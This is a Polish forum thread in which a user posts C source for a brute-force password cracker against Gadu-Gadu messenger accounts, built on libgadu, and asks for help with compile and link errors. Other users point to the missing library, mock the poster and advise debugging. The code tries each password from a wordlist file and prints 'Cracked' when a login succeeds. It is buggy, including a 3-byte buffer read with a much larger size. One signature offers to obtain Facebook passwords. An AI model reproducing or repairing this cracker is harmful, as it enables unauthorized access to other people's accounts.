Pokaż wyniki od 1 do 11 z 11

Temat: problem z programem pomocy!!!

  1. #1

    Domyślnie problem z programem pomocy!!!

    mam problem z tym kodem mógłby ktoś pomóc?? o to kod



    #include <unistd.h> //sleep
    #include <stdlib.h> //atoi
    #include <string.h> //memset
    #include "libgadu.h" //libgadu

    int main(int argc, char **argv)
    {
    struct gg_session *sess;
    struct gg_event *e;
    struct gg_login_params p;

    /*
    Jesli chcemy wyswietlac informacje od serwera
    nalezy ustawic ta wartosc na 255
    */
    gg_debug_level = 0;

    /*
    Jesli podamy za malo parametrow
    wypluwamy info o bledzie i konczymy program
    */
    if (argc < 3) {
    fprintf(stderr, "uzycie: %s <numer> <plik z haslami>\n", argv[0]);
    return 1;
    }

    /*
    Deklarujemy zmienne potrzebne do
    zliczenia ilosci wierszy
    */
    FILE *plik;
    int wiersz = 0;
    char znak;

    //Jesli nie ma pliku z haslami
    if((plik = fopen(argv[2], "r")) == NULL)
    {
    //Informujemy o bledzie i konczymy dzialanie programu
    printf("nie mogę otworzyć pliku \n");
    return 1;
    }

    //Dopoki nie dojedziemy do konca pliku
    while((znak = getc(plik)) != EOF)
    {
    if(znak == '\n') { //Zliczamy ilosc wierszy
    ++wiersz;
    }
    }

    /*
    Odczytujemy wiersz
    po wierszu z pliku
    i zapisujemy wartosc
    do zmiennej
    */
    FILE *pFile;
    int i=0;
    char haslo[3];
    pFile = fopen(argv[2], "r");

    /*
    Jesli nie ma pliku z haslami
    Informujemy o bledzie i konczymy dzialanie programu
    */
    if(pFile == NULL) {
    printf("Blad odczytu pliku");
    return 1;
    } else {
    /*
    Jazda
    */
    for(i=0;i<=wiersz-1;i++) {
    fgets(haslo, 131072, pFile);

    //Zwalniamy pamiec
    memset(&p, 0, sizeof(p));
    //Deklarujemy aktualnie testowany numer, ten sam co wczesniej
    p.uin = atoi(argv[2]);
    //Zmienna pomocnicza, aby obciac enter
    char x;
    //Zmienna pomocnicza = haslo z enterem
    x=strlen(haslo);
    //Haslo z enterem = haslo bez entera
    haslo[x-2]='\0';

    //Deklarujemy aktualnie testowane haslo
    p.password = haslo;

    /*
    Jesli haslo sie nie zgadza
    */
    if (!(sess = gg_login(&p))) {
    /*
    Ponizsza linie mozna odkomentowac,
    jesli chcemy wyswietlac informacje
    o haslach, ktore nie przeszly testu
    */
    printf("Bashed: -%s- \n -------------------- \n", haslo);
    /*
    Zwalnaimy pamiec
    */
    gg_free_session(sess);
    } else { //Jesli zgadlismy haslo drukujemy je
    printf("Cracked: %s \n -------------------- \n", haslo);
    return 1;
    }

    /*
    Zwalniamy pamiec
    */
    gg_logoff(sess);
    gg_free_session(sess);
    }
    }

    return 0; //zakonczenie programu
    }

  2. #2

    Domyślnie

    A z czym tutaj pomóc, nie kompiluje się?
    the quieter you become, the more you are able to hear

  3. #3

    Domyślnie

    przy kompilacji wyskakuje błąd

    reader@hacking:~/Desktop $ gcc brutusik.c -o brutusik
    /tmp/cc2y3UTP.o: In function `main':
    brutusik.c:(.text+0x15): undefined reference to `gg_debug_level'
    brutusik.c:(.text+0x1aa): undefined reference to `gg_login'
    brutusik.c:(.text+0x1d4): undefined reference to `gg_free_session'
    brutusik.c:(.text+0x203): undefined reference to `gg_logoff'
    brutusik.c:(.text+0x20e): undefined reference to `gg_free_session'
    collect2: ld returned 1 exit status

  4. #4
    Użytkownik Avatar Loczuch
    Dołączył
    17-12-2011
    Skąd
    Haker.com.pl
    Posty
    10

    Domyślnie

    W jakim programie piszesz? Ja znalazłem wiele gówien, w których jest całkowity skrypt dobrze napisany, ale oczywiście przy kompilacji ZAWSZE jest jakiś błąd!

  5. #5

    Domyślnie

    zainstalowałem w linuxie build-essential i z tego korzystam

  6. #6
    Dawni Moderatorzy
    Dołączył
    11-11-2006
    Skąd
    Polska
    Posty
    562

    Domyślnie

    nie dołączasz odpowiednich bibliotek.

  7. #7

    Domyślnie

    a mógłbyś mi powiedzieć jakie sa odpowiednie??

  8. #8

    Domyślnie

    Cytat Napisał Martini9008 Zobacz post
    a mógłbyś mi powiedzieć jakie sa odpowiednie??
    Może samo libgadu, na którym oparty jest cały program...? Jak można tego nie widzieć? Aha, będąc script-kid'em...
    http://toxygen.net/libgadu/ biblioteka napisana w C.

    #include <unistd.h> //sleep
    #include <stdlib.h> //atoi
    #include <string.h> //memset
    #include "libgadu.h" //libgadu

    To są używane biblioteki w programie. Chcesz zrobić brute force haseł na GG, a nie znasz podstaw :[
    Ostatnio edytowane przez michal31337 ; 03-01-2012 o 04:54
    Pomogę w zdobyciu hasła do Facebooka. Pisać na PW.

  9. #9

    Domyślnie

    wszystko śmiga tylko czemu pobiera mi z pliku hasło i jedna litere mniej?? i jakoś nie chce to znaleźć odpowiedniego hasła chociaż mam proste haslo na gg

  10. #10

    Domyślnie

    debugguj.
    This comment requires further study.

  11. #11

    Domyślnie

    przeciez mówie ze wszystki jest dobrze tylko program z pliku z hasłamibierze haslo i jedna litere mniej

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •